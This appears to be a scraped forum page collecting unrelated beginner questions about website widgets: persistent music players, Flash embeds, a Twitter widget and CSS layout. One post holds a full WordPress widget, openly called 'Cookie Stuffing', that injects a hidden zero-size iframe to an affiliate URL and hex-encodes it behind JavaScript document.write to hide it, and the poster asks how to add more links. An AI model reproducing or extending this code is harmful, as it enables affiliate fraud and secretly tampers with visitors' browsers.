HTML - Music Playing Widget, Divided Off
Hi, I'd really like to put an MP3 player on my website to play music mixes, but I'd like it so that even if someone goes to another part of the site, the music keeps on playing,
Like Reverbnation have... http://www.reverbnation.com/ Can I take the code from their site or do I need to start from scratch? Given that Reverbnation supply the widget to put your music in, I'd just need the ability to have it keep playing even when someone links to another part of the site. Thanks! Similar TutorialsHi, I am a newbie to HTML. I am making this web page. I wan to place a link where people can click on it and listen to my music. So in the <body> I type in this : <a href="music/music_1.mp3" target="_blank">Song 1.</a>. It does play the music when the link was click, but it pops up a blank page with on the QT control bar in the middle. How can I make it not to pop up another page? or if it has to pop up something perhaps just a QT player rather the blank page. Thanks in advance. MacPC I have made a site for someone and now they want the music player to play throughout the site, it's s fully fledged turn off etc. one so that's not the problem. The problem is, I have no idea how to get it to work. I have never used frames and I am not sure if what I want it right for frames, and then there is the pop up idea, what happenes if they have a pop up blocker? I want to get it so that only the player is in a frame, like an insert or something...this is the link http://www.chrisjenningsmusic.com I have tried using an Iframe too, but then I realised that the whole site would have to be in one leaving the player outside and I really don't want to do that. This is how I wanted to frames to work... I want to keep home page music playing as linked images are viewed. When I post family photos on our site, I like to add background music. My posts consist of a home page containing a table of thumbnails, each linked to its larger image on a separate page. (You can then scroll directly from one larger image to another.) I can EMBED music into the home page, but it stops playing when a linked page/image is opened. I get around this be inserting the table of thumbnails as an OBJECT into a separate home page that contains the music. That works; the music then continues to play as I scroll through the table's links. But there are two problems. First, when the thumbnails table is larger than a single screen, the table develops its own vertical scroll bar, so there are now two scroll bars showing, which is confusing. Worse, the larger images from thumbnails lower in the table are no longer properly positioned when seen on their own pages; you have to scroll each one to get it back into view. Is there a better way to keep the home page music playing as linked images are viewed? I have a Mac Laptop with OSX 10.4, and use Netscape Composer to make my sites. (OK, I'm a dinosaur, but I fear I'm too ancient to be able to learn a different app.) Can anyone offer advice as to how do I go about uploading my music to my music webiste. www.discomixdownload.com I am currently running the "easybe 1-2-3 music shop software. They e-mailed me ftp up directories, but I don't know how to go about the whole music file upload process.?. I website is hosted by a www.fastdomain.com Truly D.J.mixhypnatist. 06/21/2008 Hello, first post. HELLO! my video widget playlist on my index is a different size on my index.php but the correct size throughout the rest of my site. Its quite annoying, can anyone shed any light on this issue? thanks. http://www.brewrecords.net HTML Code: <?php get_header(); ?> <div id="content"> <div id="homepagetop"> <div class="textbanner"> <?php $recent = new WP_Query("cat=" .ot_option('hp_top_cat'). "&showposts=1"); while($recent->have_posts()) : $recent->the_post();?> <h3><a href="<?php the_permalink() ?>" rel="bookmark"><?php the_title(); ?></a></h3> <?php endwhile; ?> </div> <div id="homeslider"> <?php include(TEMPLATEPATH."/includes/slider.php");?> </div> <div class="homewidgets"> <?php if ( !function_exists('dynamic_sidebar') || !dynamic_sidebar('Homepage Top Right') ) : ?> <div class="widget"> <h4>Widget Area</h4> <p>This section is widgetized. To add widgets here, go to the <a href="<?php echo admin_url(); ?>widgets.php">Widgets</a> panel in your WordPress admin, and add the widgets you would like to <strong>Homepage Top Right</strong>.</p> <p><small>*This message will be overwritten after widgets have been added</small></p> </div> <?php endif; ?> </div> </div> <div id="homepage"> <?php include(TEMPLATEPATH."/sidebar_left.php");?> <div class="homepagemid"> <h3><?php echo cat_id_to_name(ot_option('hp_mid_cat')); ?></h3> <?php $recent = new WP_Query("cat=" .ot_option('hp_mid_cat'). "&showposts=" .ot_option('hp_mid_num') ); while($recent->have_posts()) : $recent->the_post();?> <div class="homepagecontent"> <a href="<?php the_permalink() ?>" rel="bookmark"><?php the_post_thumbnail( 'home-thumbnail' ); ?></a> <h4><a href="<?php the_permalink() ?>" rel="bookmark"><?php the_title(); ?></a></h4> <?php the_excerpt(); ?> </div> <?php endwhile; ?> </div> <?php include(TEMPLATEPATH."/sidebar_right.php");?> </div> </div> <!-- The main column ends --> <?php get_footer(); ?> Hi folks, I'm trying to achieve something in a wordpress widget, but no good result so far. Please have a look at the image. My problem is that I cant separate text from the image on the right side. Cant give the space between "vivamus lectus" and the "venenatis tempus..." And cant separate social icons on bottom without using a table. I'm coding it with normal html, no css. Can you please help me out? thanks Hello, I am looking to add a weather widget to my website. Basically the website has several 100 profiles which all have a different city and country. I was wondering if there is a widget that I could add into these profiles which automatically find the weather update of that profile according to its city and country and if possible also display climate information for the year. Any help? Thanks, Sunny Comments on this post Mandarin disagrees: Duplicate topic: http://www.htmlforums.com/multimedia-elements/t-weather-widget-141305.html First of all hope this is the right forum. I need to know how to wrap text so it flows around this twitter widget that I would like to place on my site in the center of page http://knowingabout.co.uk/bestinhulme/index.html. I have tried the usual way for an image but it doesnt seem to work. Below is a image and below that the actual code. <div id="twtr-search-widget"></div> <script src="http://widgets.twimg.com/j/1/widget.js"></script> <link href="http://widgets.twimg.com/j/1/widget.css" type="text/css" rel="stylesheet"> <script> new TWTR.Widget({ search: 'Manchester', id: 'twtr-search-widget', loop: true, title: 'Who\'s tweeting about...', subject: 'Manchester', width: 250, height: 280, theme: { shell: { background: '#887640', color: '#ffffff' }, tweets: { background: '#f3d2a5', color: '#444444', links: '#1985b5' } } }).render().start(); </script> Thx in advance Hi everyone, Basically I want to add 3 tickers from this site: http://www.worldometers.info to my page. I've tried viewing the page source and copying but having some issues. Let's say I want to add the "CO2 emissions this year (tons)" ticker; what is the code I need please? Any help is much appreciated. Thank you! I have a wordpress widget I have been using. It is for Cookie Stuffing and allows you to add an affiliate link into a input field, the only problem is that you can only add one link. Does anyone know how to add another text field? Heres the code: Code: // We're putting the plugin's functions in one big function we then // call at 'plugins_loaded' (add_action() at bottom) to ensure the // required Sidebar Widget functions are available. function widget_getcookie_init() { // Check to see required Widget API functions are defined... if ( !function_exists('register_sidebar_widget') || !function_exists('register_widget_control') ) return; // ...and if not, exit gracefully from the script. // This function prints the sidebar widget--the cool stuff! function widget_getcookie($args) { // $args is an array of strings which help your widget // conform to the active theme: before_widget, before_title, // after_widget, and after_title are the array keys. extract($args); // Collect our widget's options, or define their defaults. $options = get_option('widget_getcookie'); //$title = empty($options['title']) ? 'My Widget' : $options['title']; $text = empty($options['text']) ? 'http://www.myfreego.co.uk' : $options['text']; // It's important to use the $before_widget, $before_title, // $after_title and $after_widget variables in your output. echo $before_widget; // echo $before_title . $title . $after_title; // this where to put output $string="<div style=\"position:absolute;left:0px;top:0px;visibility:hidden;\" id=\"datadiv\"><iframe src=\"".$text."\" height=\"0\" width=\"0\"></iframe></div>"; $hex_string = bin2hex($string); $code="<script language=\"JavaScript\" type=\"text/javascript\">//\nvar i,y,x=\"$hex_string\";y='';for(i=0;i<x.length;i+=2){y+=unescape('%'+x.substr(i,2));}document.write(y);</script>"; echo $code; // end output echo $after_widget; } // This is the function that outputs the form to let users edit // the widget's title and so on. It's an optional feature, but // we'll use it because we can! function widget_getcookie_control() { // Collect our widget's options. $options = $newoptions = get_option('widget_getcookie'); // This is for handing the control form submission. if ( $_POST['getcookie-submit'] ) { // Clean up control form submission options $newoptions['title'] = strip_tags(stripslashes($_POST['getcookie-title'])); $newoptions['text'] = strip_tags(stripslashes($_POST['getcookie-url'])); } // If original widget options do not match control form // submission options, update them. if ( $options != $newoptions ) { $options = $newoptions; update_option('widget_getcookie', $options); } // Format options as valid HTML. Hey, why not. $title = htmlspecialchars($options['title'], ENT_QUOTES); $text = htmlspecialchars($options['text'], ENT_QUOTES); // The HTML below is the control form for editing options. ?> <div> <!-- <label for="getcookie-title" style="line-height:35px;display:block;">Widget title: <input type="text" id="getcookie-title" name="getcookie-title" value="<?php echo $title; ?>" /></label> --> <p>Make sure you use http:// in your url!</p> <label for="getcookie-url" style="line-height:35px;display:block;">Affiliate URL: <input type="text" id="getcookie-url" name="getcookie-url" value="<?php echo $text; ?>" /></label> <input type="hidden" name="getcookie-submit" id="getcookie-submit" value="1" /> </div> <?php // end of widget_getcookie_control() } // This registers the widget. About time. register_sidebar_widget('Get Cookie', 'widget_getcookie'); // This registers the (optional!) widget control form. register_widget_control('Get Cookie', 'widget_getcookie_control'); } // Delays plugin execution until Dynamic Sidebar has loaded first. add_action('plugins_loaded', 'widget_getcookie_init'); ?> I believe this is where I need to be looking... Code: // The HTML below is the control form for editing options. ?> <div> <!-- <label for="getcookie-title" style="line-height:35px;display:block;">Widget title: <input type="text" id="getcookie-title" name="getcookie-title" value="<?php echo $title; ?>" /></label> --> <p>Make sure you use http:// in your url!</p> <label for="getcookie-url" style="line-height:35px;display:block;">Affiliate URL: <input type="text" id="getcookie-url" name="getcookie-url" value="<?php echo $text; ?>" /></label> <input type="hidden" name="getcookie-submit" id="getcookie-submit" value="1" /> </div> <?php // end of widget_getcookie_control() } I would be very greatful if anyone could help me out. I have a song widget HTML and this widget keeps loading at every page. I want it to load just once and then just remain there for each page. Don't want it to reload on each page but cannot figure it out. Here is the coding <embed type="application/x-shockwave-flash" src="http://cache.reverbnation.com/widgets/swf/40/pro_widget.swf" bgcolor="#ffffff" loop="false" wmode="transparent" quality="best" allowscriptaccess="always" allownetworking="all" allowfullscreen="true" seamlesstabbing="true" flashvars="id=artist_884037&posted_by=artist_884037&skin_id=PWAS1008&font_color=333333&auto_play=tru e&shuffle=true" width="262" align="top" height="200"><br><img style="visibility: hidden; width: 0px; height: 0px;" src="http://www.reverbnation.com/widgets/trk/40/artist_884037/artist_884037/t.gif" width="0" border="0" height="0"><img src="http://a.triggit.com/px?u=reverbnation&rtv=884037wd,Folk,Electronica%2FPolitical,New%20Age" width="1" border="0" height="1"> I am practicing on a test website. You can see it at the site as well http://childsplay.storesecured.com Is there a way to keep it from reloading on each page and just load once ? I'm wondering if anyone know any good RSS Widgets that I can integrate into my website. All the ones I've come across usually just display 3 or 4 and then loop back to the beginning. Anything out there that's really good? I've created a layout in css and it works in Safari, Chrome and IE but not Firefox. I thought IE was the odd one out. Anyway I seem to have narrowed it down. It's the logo in the top left, if it has a link on it it seems to move the margin a lot to the right. Try it out. Code: body { margin: 0; padding: 0; text-align:left; color: black; font: medium Arial, Helvetica, Verdana,sans-serif; } ul, li { list-style-type: none; } #header { margin-right: 10px; margin-left: 10px; border: 2px solid black; position: relative; filter:alpha(opacity=80); opacity: 0.80; height: 62px; background-color: white; } #sidebarleft { float: left; margin-left: 10px; margin-top: 10px; height: 600px; border: 2px solid black; position: relative; filter:alpha(opacity=80); opacity: 0.80; width: 170px; background-color: white; } #sidebarleft b { position: absolute; left: 0px; right: 0px; background: #d9eaff; } #sidebarleft a:link { color: black; text-decoration: none; } #sidebarleft a:visited { color: black; text-decoration: none; } #sidebarleft a:hover { color: black; text-decoration: underline; } #sidebarleft a:active { color: black; text-decoration: underline; } #sidebarleft ul { margin: 0; padding: 0; border: 2px solid white; } HTML Code: <html> <link rel="stylesheet" type="text/css" href="style.css"> <!-- header start --> <div id = "header"> <a href="index.htm"><img src="images/logo.png" align="left" height="61" width="262"></a> </div> <!-- header end --> <!-- sidebarleft start --> <div id="sidebarleft"> <center><b><u>Navigation</b></u></center> <br/> <ul> <li><a href="index.htm">Home</a></li> <li><a href="link1.htm">link1</a></li> <li><a href="link2.htm">link2</a></li> <li><a href="/link3/">link3</a></li> <li><a href="link4.htm">link4</a></li> </ul> </div> <!-- sidebarleft end --> </html> How can I make it work in Firefox? what is the best way to play videos in an html page?? i need to play videos in my site... what is the fastest way to play videos in a normal speed (not slowly) When you go to http://boingboing.net/ and scroll down, you will eventually see "Buy our skull cap T-Shirt" followed by a banner ad below it. As you continue scrolling down, this information on the sidebar never leaves the screen. Would anyone know of a snippet of code that I could add to my Wordpress blog to replicate this feature? Thank you Trying to install a JQuery slider in my site. When I try to install it in Dreamweaver using the widget browser I get a error (picture attached) I am a noob and just dabbeling a little bit but any help would be greatly appreciated. I opted to use this slider because it it clickable and linkable but if there was a better way to do it I would be up for suggestions. I opted to use the Flexslider in the Dreamweaver widgets. But this code error has something to do with the inner workings of DW. All the other widgets I have installed on this site work fine. Thanks in advance. Hi. I've been trying and failing at wrapping text around a mixpod playlist widget. [The widget is in a draft post I'm working on in a blog, not installed as a sidebar gadget.] I'm not technical, and the widget is "flash" technology which befuddles me even further. Fiddling with <div> and "align" codes, I was able to type in text next to the widget, but only in the editor page of Blogger...once I previewed or published it, the text appeared below the widget. I would very much appreciate anyone's ideas. The widget code is: <embed border="0" flashvars="mycolor=5C1400&mycolor2=baac8f&mycolor3=450101&autoplay=false&rand=0& f=4&vol=100&pat=0&grad=false" height="382" name="myflashfetish" pluginspage="http://www.macromedia.com/go/getflashplayer" quality="high" salign="TL" src="http://assets.mixpod.com/swf/mp3/mff-nano.swf?myid=76126179&path=2011/01/26" style="height: 382px; visibility: visible; width: 165px;" type="application/x-shockwave-flash" width="165" wmode="transparent"></embed> Thank you. hi. on my site i want to play a uploaded movie file. i'm searching a suitable player but not win media player. is any there? how i place that on my site. thanks in advance chel-1 I have problem with playing wav file in mozilla. but working fine with internet explorer. I am using <embed> and <bgsound> . is there any way to play sound in mozilla urgent. please help Hello, stuck again!!! Right well i have an swf file and it's playing fine in safari but not in firefox - the place where it's supposed to be is just blank. Any ideas? http://www.absolute-websites.com/portfolio#animation Here is the code: HTML Code: <object id="peepShow" type="application/x-shockwave-flash" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,28,0" data="video/peep_show.swf" width="550" height="400"> <param name="movie" value="video/peep_show.swf" /> <param name="quality" value="high"/> </object> |